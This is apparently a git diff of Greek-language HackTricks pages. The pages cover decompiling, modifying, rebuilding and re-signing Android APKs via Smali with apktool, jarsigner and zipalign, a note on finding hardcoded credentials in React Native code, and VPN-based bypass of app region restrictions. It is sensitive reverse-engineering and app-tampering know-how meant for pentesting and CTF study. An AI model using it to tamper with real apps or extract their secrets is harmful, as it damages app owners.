3. Είχε την τύχη να βρεθούν ευαίσθητα σταθερά διαπιστευτήρια που είχαν καταχωρηθεί σκληρά στον κώδικα JavaScript κατά τη διάρκεια της διαδικασίας αναγνώρισης.
3. Ήταν τυχερό ότι ευαίσθητα σκληρά κωδικοποιημένα διαπιστευτήρια βρέθηκαν στον κώδικα JavaScript κατά τη διάρκεια της διαδικασίας αναγνώρισης.
## Αναφορές
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,68 +1,69 @@
# Smali - Αποσυμπίεση/Τροποποίηση/Συμπίεση
# Smali - Decompiling/\[Modifying]/Compiling
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Ορισμένες φορές είναι ενδιαφέρον να τροποποιήσετε τον κώδικα της εφαρμογής για να έχετε πρόσβαση σε κρυφές πληροφορίες (ίσως καλά κρυπτογραφημένους κωδικούς πρόσβασης ή σημαίες). Στη συνέχεια, θα μπορούσε να είναι ενδιαφέρον να αποσυμπιέσετε το αρχείο apk, να τροποποιήσετε τον κώδικα και να το συμπιέσετε ξανά.
Μερικές φορές είναι ενδιαφέρον να τροποποιήσετε τον κώδικα της εφαρμογής για να αποκτήσετε πρόσβαση σε κρυφές πληροφορίες (ίσως καλά κρυμμένους κωδικούς ή σημαίες). Στη συνέχεια, μπορεί να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να τον ξανασυμπιέσετε.
**Αναφορά εντολών:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
**Opcodes reference:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
## Γρήγορος τρόπος
## Fast Way
Χρησιμοποιώντας το **Visual Studio Code** και την επέκταση [APKLab](https://github.com/APKLab/APKLab), μπορείτε να **αποσυμπιέσετε αυτόματα**, να τροποποιήσετε, να **συμπιέσετε**, να υπογράψετε και να εγκαταστήσετε την εφαρμογή χωρίς να εκτελέσετε καμία εντολή.
Χρησιμοποιώντας το **Visual Studio Code** και την επέκταση [APKLab](https://github.com/APKLab/APKLab), μπορείτε να **αποσυμπιέσετε αυτόματα**, να τροποποιήσετε, **να ξανασυμπιέσετε**, να υπογράψετε και να εγκαταστήσετε την εφαρμογή χωρίς να εκτελέσετε καμία εντολή.
Ένα άλλο **σενάριο** που διευκολύνει πολύ αυτήν την εργασία είναι το [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
Ένα άλλο **script** που διευκολύνει πολύ αυτή την εργασία είναι [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
## Αποσυμπίεση του APK
## Decompile the APK
Χρησιμοποιώντας το APKTool μπορείτε να έχετε πρόσβαση στον **κώδικα smali και τους πόρους**:
Χρησιμοποιώντας το APKTool μπορείτε να αποκτήσετε πρόσβαση στον **κώδικα smali και τους πόρους**:
```bash
apktool d APP.apk
```
Εάν το **apktool** σας δίνει οποιοδήποτε σφάλμα, δοκιμάστε να [εγκαταστήσετε την **τελευταία έκδοση**](https://ibotpeaches.github.io/Apktool/install/)
Αν το **apktool** σας δώσει οποιοδήποτε σφάλμα, δοκιμάστε[ να εγκαταστήσετε την **τελευταία έκδοση**](https://ibotpeaches.github.io/Apktool/install/)
Ορισμένα **ενδιαφέροντα αρχεία που πρέπει να ελέγξετε είναι**:
Ορισμένα **ενδιαφέροντα αρχεία που θα πρέπει να εξετάσετε είναι**:
* _res/values/strings.xml_ (και όλα τα xmls μέσα στον φάκελο res/values/\*)
* _res/values/strings.xml_ (και όλα τα xml μέσα στο res/values/\*)
* _AndroidManifest.xml_
* Οποιοδήποτε αρχείο με κατάληξη _.sqlite_ ή _.db_
Εάν το `apktool` έχει **προβλήματα αποκωδικοποίησης της εφαρμογής**, ρίξτε μια ματιά στο [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) ή δοκιμάστε να χρησιμοποιήσετε το όρισμα **`-r`** (Να μην αποκωδικοποιηθούν οι πόροι). Έπειτα, εάν το πρόβλημα ήταν σε έναν πόρο και όχι στον πηγαίο κώδικα, δεν θα έχετε το πρόβλημα (δεν θα αποκωδικοποιήσετε επίσης τους πόρους).
Αν το `apktool` έχει **προβλήματα στην αποκωδικοποίηση της εφαρμογής** ρίξτε μια ματιά στο [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) ή δοκιμάστε να χρησιμοποιήσετε το επιχείρημα **`-r`** (Μην αποκωδικοποιείτε τους πόρους). Στη συνέχεια, αν το πρόβλημα ήταν σε έναν πόρο και όχι στον πηγαίο κώδικα, δεν θα έχετε το πρόβλημα (δεν θα αποκωδικοποιήσετε επίσης τους πόρους).
## Αλλαγή κώδικα smali
Μπορείτε να **αλλάξετε** **εντολές**, να αλλάξετε τη **τιμή** ορισμένων μεταβλητών ή να **προσθέσετε** νέες εντολές. Αλλάζω τον κώδικα Smali χρησιμοποιώντας το [**VS Code**](https://code.visualstudio.com), στη συνέχεια εγκαθιστάτε την **επέκταση smalise** και ο επεξεργαστής θα σας ειδοποιήσει εάν κάποια **εντολή είναι εσφαλμένη**.\
Μπορείτε να **αλλάξετε** **εντολές**, να αλλάξετε την **τιμή** ορισμένων μεταβλητών ή να **προσθέσετε** νέες εντολές. Αλλάζω τον κώδικα Smali χρησιμοποιώντας [**VS Code**](https://code.visualstudio.com), στη συνέχεια εγκαθιστάτε την **επέκταση smalise** και ο επεξεργαστής θα σας πει αν κάποια **εντολή είναι λανθασμένη**.\
Ορισμένα **παραδείγματα** μπορούν να βρεθούν εδώ:
* [Παραδείγματα αλλαγών Smali](smali-changes.md)
* [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
Ή μπορείτε [**να ελέγξετε παρακάτω μερικές εξηγήσεις αλλαγών Smali**](smali-changes.md#modifying-smali).
Ή μπορείτε να [**ελέγξετε παρακάτω μερικές εξηγήσεις για αλλαγές Smali**](smali-changes.md#modifying-smali).
## Επανασυναρμολόγηση του APK
## Ανακατασκευή του APK
Αφού τροποποιήσετε τον κώδικα, μπορείτε να **επανασυναρμολογήσετε** τον κώδικα χρησιμοποιώντας:
Αφού τροποποιήσετε τον κώδικα μπορείτε να **ανακατασκευάσετε** τον κώδικα χρησιμοποιώντας:
```bash
apktool b . #In the folder generated when you decompiled the application
```
Θα **μεταγλωττίσει** το νέο APK **μέσα** στον φάκελο _**dist**_.
Θα **συγκεντρώσει** το νέο APK **μέσα** στον _**φάκελο dist**_.
Αν το **apktool** εμφανίσει ένα **σφάλμα**, δοκιμάστε να [εγκαταστήσετε την **τελευταία έκδοση**](https://ibotpeaches.github.io/Apktool/install/)
Αν το **apktool** ρίξει ένα **σφάλμα**, δοκιμάστε[ να εγκαταστήσετε την **τελευταία έκδοση**](https://ibotpeaches.github.io/Apktool/install/)
### **Υπογράψτε το νέο APK**
Στη συνέχεια, θα χρειαστεί να **δημιουργήσετε ένα κλειδί** (θα σας ζητηθεί ένας κωδικός πρόσβασης και μερικές πληροφορίες που μπορείτε να συμπληρώσετε τυχαία):
Στη συνέχεια, πρέπει να **δημιουργήσετε ένα κλειδί** (θα σας ζητηθεί ένας κωδικός πρόσβασης και κάποιες πληροφορίες που μπορείτε να συμπληρώσετε τυχαία):
```bash
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
```
@ -70,28 +71,28 @@ keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -
```bash
jarsigner -keystore key.jks path/to/dist/* <your-alias>
```
### Βελτιστοποίηση νέας εφαρμογής
### Optimize new application
**zipalign** είναι ένα εργαλείο ευθυγράμμισης αρχείων που παρέχει σημαντική βελτιστοποίηση στα αρχεία εφαρμογών Android (APK). [Περισσότερες πληροφορίες εδώ](https://developer.android.com/studio/command-line/zipalign).
**zipalign** είναι ένα εργαλείο ευθυγράμμισης αρχείων που παρέχει σημαντική βελτιστοποίηση στα αρχεία εφαρμογών Android (APK). [More information here](https://developer.android.com/studio/command-line/zipalign).
```bash
zipalign [-f] [-v] <alignment> infile.apk outfile.apk
zipalign -v 4 infile.apk
```
### **Υπογράψτε ξανά το νέο APK (ήδη?)**
### **Υπογράψτε το νέο APK (ξανά;)**
Εάν προτιμάτε να χρησιμοποιήσετε το [**apksigner**](https://developer.android.com/studio/command-line/) αντί του jarsigner, **θα πρέπει να υπογράψετε το apk** μετά την εφαρμογή **της βελτιστοποίησης με** το zipalign. ΩΣΤΟΣΟ, ΠΡΟΣΕΞΤΕ ΌΤΙ ΠΡΈΠΕΙ ΝΑ **ΥΠΟΓΡΆΨΕΤΕ ΤΗΝ ΕΦΑΡΜΟΓΉ ΜΌΝΟ ΜΙΑ ΦΟΡΆ** ΜΕ ΤΟ jarsigner (πριν το zipalign) Ή ΜΕ ΤΟ aspsigner (μετά το zipalign).
Αν **προτιμάτε** να χρησιμοποιήσετε [**apksigner**](https://developer.android.com/studio/command-line/) αντί για jarsigner, **πρέπει να υπογράψετε το apk** μετά την εφαρμογή **της βελτιστοποίησης με** zipalign. ΑΛΛΑ ΠΡΟΣΟΧΗ ΟΤΙ ΠΡΕΠΕΙ ΝΑ **ΥΠΟΓΡΑΨΕΤΕ ΤΗΝ ΕΦΑΡΜΟΓΗ ΜΙΑ ΦΟΡΑ** ΜΕ jarsigner (πριν το zipalign) Ή ΜΕ aspsigner (μετά το zipalign).
```bash
apksigner sign --ks key.jks ./dist/mycompiled.apk
```
## Τροποποίηση του Smali
## Τροποποίηση Smali
Για τον παρακάτω κώδικα Hello World σε Java:
Για τον παρακάτω κώδικα Hello World Java:
```java
public static void printHelloWorld() {
System.out.println("Hello World")
}
```
Ο κώδικας Smali θα ήταν:
Ο κώδικας Smali θα είναι:
```java
.method public static printHelloWorld()V
.registers 2
@ -103,11 +104,11 @@ return-void
```
Το σύνολο εντολών Smali είναι διαθέσιμο [εδώ](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions).
### Μικρές Αλλαγές
### Ελαφρές Αλλαγές
### Τροποποίηση αρχικών τιμών μιας μεταβλητής μέσα σε μια συνάρτηση
Ορισμένες μεταβλητές καθορίζονται στην αρχή της συνάρτησης χρησιμοποιώντας την εντολή _const_, μπορείτε να τροποποιήσετε τις τιμές τους ή να ορίσετε νέες:
Ορισμένες μεταβλητές ορίζονται στην αρχή της συνάρτησης χρησιμοποιώντας την εντολή _const_, μπορείτε να τροποποιήσετε τις τιμές τους ή να ορίσετε νέες:
```bash
#Number
const v9, 0xf4240
@ -116,30 +117,6 @@ const/4 v8, 0x1
const-string v5, "wins"
```
### Βασικές Λειτουργίες
#### Adding Instructions
#### Προσθήκη Οδηγιών
To add instructions to a smali file, you need to open the file in a text editor and locate the method where you want to add the instructions. Then, you can simply add the desired instructions in smali syntax.
Για να προσθέσετε οδηγίες σε ένα αρχείο smali, πρέπει να ανοίξετε το αρχείο σε έναν επεξεργαστή κειμένου και να εντοπίσετε τη μέθοδο όπου θέλετε να προσθέσετε τις οδηγίες. Στη συνέχεια, μπορείτε απλά να προσθέσετε τις επιθυμητές οδηγίες σε μορφή smali.
#### Modifying Instructions
#### Τροποποίηση Οδηγιών
To modify instructions in a smali file, you need to locate the specific instruction you want to modify and edit it accordingly. Make sure to follow the correct smali syntax and save the changes.
Για να τροποποιήσετε οδηγίες σε ένα αρχείο smali, πρέπει να εντοπίσετε τη συγκεκριμένη οδηγία που θέλετε να τροποποιήσετε και να την επεξεργαστείτε αναλόγως. Βεβαιωθείτε ότι ακολουθείτε τη σωστή σύνταξη smali και αποθηκεύστε τις αλλαγές.
#### Deleting Instructions
#### Διαγραφή Οδηγιών
To delete instructions from a smali file, you need to locate the specific instruction you want to delete and remove it from the file. Make sure to save the changes after deleting the instruction.
Για να διαγράψετε οδηγίες από ένα αρχείο smali, πρέπει να εντοπίσετε τη συγκεκριμένη οδηγία που θέλετε να διαγράψετε και να την αφαιρέσετε από το αρχείο. Βεβαιωθείτε ότι αποθηκεύετε τις αλλαγές μετά τη διαγραφή της οδηγίας.
```bash
#Math
add-int/lit8 v0, v2, 0x1 #v2 + 0x1 and save it in v0
@ -164,7 +141,7 @@ goto :goto_6 #Always go to: :goto_6
```
### Μεγαλύτερες Αλλαγές
### Καταγραφή (Logging)
### Καταγραφή
```bash
#Log win: <number>
iget v5, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Get this.o inside v5
@ -173,19 +150,19 @@ move-result-object v1 #Move to v1
const-string v5, "wins" #Save "win" inside v5
invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I #Logging "Wins: <num>"
```
Συστάσεις:
Recommendations:
* Εάν πρόκειται να χρησιμοποιήσετε δηλωμένες μεταβλητές μέσα στη συνάρτηση (δηλωμένες v0, v1, v2...), τοποθετήστε αυτές τις γραμμές μεταξύ του _.local \<αριθμός>_ και των δηλώσεων των μεταβλητών (_const v0, 0x1_)
* Εάν θέλετε να τοποθετήσετε τον κώδικα καταγραφής στη μέση του κώδικα μιας συνάρτησης:
* Προσθέστε 2 στον αριθμό των δηλωμένων μεταβλητών: Παράδειγμα: από _.locals 10_ σε _.locals 12_
* Οι νέες μεταβλητές πρέπει να είναι οι επόμενοι αριθμοί των ήδη δηλωμένων μεταβλητών (σε αυτό το παράδειγμα θα πρέπει να είναι _v10_ και _v11_, θυμηθείτε ότι ξεκινά από το v0).
* Αλλάξτε τον κώδικα της συνάρτησης καταγραφής και χρησιμοποιήστε το _v10_ και _v11_ αντί για το _v5_ και _v1_.
* Αν πρόκειται να χρησιμοποιήσετε δηλωμένες μεταβλητές μέσα στη συνάρτηση (δηλωμένες v0,v1,v2...) τοποθετήστε αυτές τις γραμμές μεταξύ του _.local \<number>_ και των δηλώσεων των μεταβλητών (_const v0, 0x1_)
* Αν θέλετε να τοποθετήσετε τον κώδικα καταγραφής στη μέση του κώδικα μιας συνάρτησης:
* Προσθέστε 2 στον αριθμό των δηλωμένων μεταβλητών: Π.χ.: από _.locals 10_ σε _.locals 12_
* Οι νέες μεταβλητές θα πρέπει να είναι οι επόμενοι αριθμοί των ήδη δηλωμένων μεταβλητών (σε αυτό το παράδειγμα θα πρέπει να είναι _v10_ και _v11_, θυμηθείτε ότι ξεκινά από v0).
* Αλλάξτε τον κώδικα της συνάρτησης καταγραφής και χρησιμοποιήστε _v10_ και _v11_ αντί για _v5_ και _v1_.
### Toasting
Θυμηθείτε να προσθέσετε 3 στον αριθμό των _.locals_ στην αρχή της συνάρτησης.
Αυτός ο κώδικας είναι προετοιμασμένος για να εισαχθεί στη **μέση μιας συνάρτησης** (**αλλάξτε** τον αριθμό των **μεταβλητών** όπως απαιτείται). Θα πάρει τη **τιμή του this.o**, τη **μετατρέψει** σε **String** και θα **κάνει** ένα **toast** με την τιμή της.
Αυτός ο κώδικας είναι έτοιμος να εισαχθεί στη **μέση μιας συνάρτησης** (**αλλάξτε** τον αριθμό των **μεταβλητών** όπως απαιτείται). Θα πάρει την **τιμή του this.o**, **θα την μετατρέψει** σε **String** και στη συνέχεια **θα κάνει** ένα **toast** με την τιμή του.
```bash
const/4 v10, 0x1
const/4 v11, 0x1
@ -197,16 +174,17 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
move-result-object v12
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ τρικς σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Σε περιπτώσεις όπου μια εφαρμογή περιορίζεται σε συγκεκριμένες χώρες και δεν μπορείτε να την εγκαταστήσετε στη συσκευή Android σας λόγω περιορισμών περιοχής, η πλαστογράφηση της τοποθεσίας σας σε μια χώρα όπου η εφαρμογή είναι διαθέσιμη μπορεί να σας παράσχει πρόσβαση. Τα παρακάτω βήματα αναλύουν πώς να το κάνετε αυτό:
Σε καταστάσεις όπου μια εφαρμογή περιορίζεται σε ορισμένες χώρες και δεν μπορείτε να την εγκαταστήσετε στη συσκευή Android σας λόγω περιφερειακών περιορισμών, η παραποίηση της τοποθεσίας σας σε μια χώρα όπου η εφαρμογή είναι διαθέσιμη μπορεί να σας δώσει πρόσβαση. Τα παρακάτω βήματα περιγράφουν πώς να το κάνετε αυτό:
1. **Εγκαταστήστε το Hotspot Shield Free VPN Proxy:**
- Ξεκινήστε κατεβάζοντας και εγκαθιστώντας το Hotspot Shield Free VPN Proxy από το Google Play Store.
@ -22,33 +23,37 @@
- Συνδεθείτε σε έναν διακομιστή VPN επιλέγοντας τη χώρα όπου η εφαρμογή που θέλετε να αποκτήσετε πρόσβαση είναι διαθέσιμη.
3. **Καθαρίστε τα δεδομένα του Google Play Store:**
- Πηγαίνετε στις **Ρυθμίσεις** της συσκευής σας.
- Προχωρήστε στις **Εφαρμογές** ή **Διαχειριστή Εφαρμογών** (αυτό μπορεί να διαφέρει ανάλογα με τη συσκευή σας).
- Βρείτε και επιλέξτε το **Google Play Store** από τη λίστα των εφαρμογών.
- Πατήστε **Εξαναγκασμός Διακοπής** για να τερματίσετε οποιεσδήποτε εκτελούμενες διεργασίες της εφαρμογής.
- Στη συνέχεια, πατήστε **Καθαρισμός Δεδομένων** ή **Καθαρισμός Αποθήκευσης** (οι ακριβείς διατυπώσεις μπορεί να διαφέρουν) για να επαναφέρετε την εφαρμογή Google Play Store στην προεπιλεγμένη κατάστασή της.
- Μεταβείτε στις **Ρυθμίσεις** της συσκευής σας.
- Προχωρήστε σε **Εφαρμογές** ή **Διαχειριστής Εφαρμογών** (αυτό μπορεί να διαφέρει ανάλογα με τη συσκευή σας).
- Βρείτε και επιλέξτε το **Google Play Store** από τη λίστα εφαρμογών.
- Πατήστε στο **Αναγκαστική διακοπή** για να τερματίσετε οποιαδήποτε εκτελούμενη διαδικασία της εφαρμογής.
- Στη συνέχεια, πατήστε στο **Καθαρισμός δεδομένων** ή **Καθαρισμός αποθήκευσης** (η ακριβής διατύπωση μπορεί να διαφέρει) για να επαναφέρετε την εφαρμογή Google Play Store στην προεπιλεγμένη κατάσταση.
4. **Αποκτήστε πρόσβαση στην περιορισμένη εφαρμογή:**
- Ανοίξτε το **Google Play Store**.
- Το κατάστημα θα αντικατοπτρίζει τώρα το περιεχόμενο της χώρας στην οποία συνδεθήκατε μέσω του VPN.
- Θα πρέπει να μπορείτε να αναζητήσετε και να εγκαταστήσετε την εφαρμογή που ήταν προηγουμένως μη διαθέσιμη στην πραγματική σας τοποθεσία.
- Το κατάστημα θα πρέπει τώρα να αντικατοπτρίζει το περιεχόμενο της χώρας στην οποία συνδεθήκατε μέσω του VPN.
- Θα πρέπει να μπορείτε να αναζητήσετε και να εγκαταστήσετε την εφαρμογή που προηγουμένως δεν ήταν διαθέσιμη στην πραγματική σας τοποθεσία.
### Σημαντικές Σημειώσεις:
- Η αποτελεσματικότητα αυτής της μεθόδου μπορεί να ποικίλει ανάλογα με διάφορους παράγοντες, συμπεριλαμβανομένης της αξιοπιστίας της υπηρεσίας VPN και των συγκεκριμένων περιορισμών περιοχής που επιβάλλονται από την εφαρμογή.
- Η αποτελεσματικότητα αυτής της μεθόδου μπορεί να διαφέρει ανάλογα με αρκετούς παράγοντες, συμπεριλαμβανομένης της αξιοπιστίας της υπηρεσίας VPN και των συγκεκριμένων περιφερειακών περιορισμών που επιβάλλει η εφαρμογή.
- Η τακτική χρήση ενός VPN μπορεί να επηρεάσει την απόδοση ορισμένων εφαρμογών και υπηρεσιών.
- Να είστε ενήμεροι για τους όρους χρήσης οποιασδήποτε εφαρμογής ή υπηρεσίας που χρησιμοποιείτε, καθώς η χρήση ενός VPN για να παρακάμψετε περιορισμούς περιοχής μπορεί να παραβιάζει αυτούς τους όρους.
- Να είστε ενήμεροι για τους όρους υπηρεσίας οποιασδήποτε εφαρμογής ή υπηρεσίας χρησιμοποιείτε, καθώς η χρήση ενός VPN για να παρακάμψετε περιφερειακούς περιορισμούς μπορεί να παραβιάσει αυτούς τους όρους.
## Αναφορές
## References
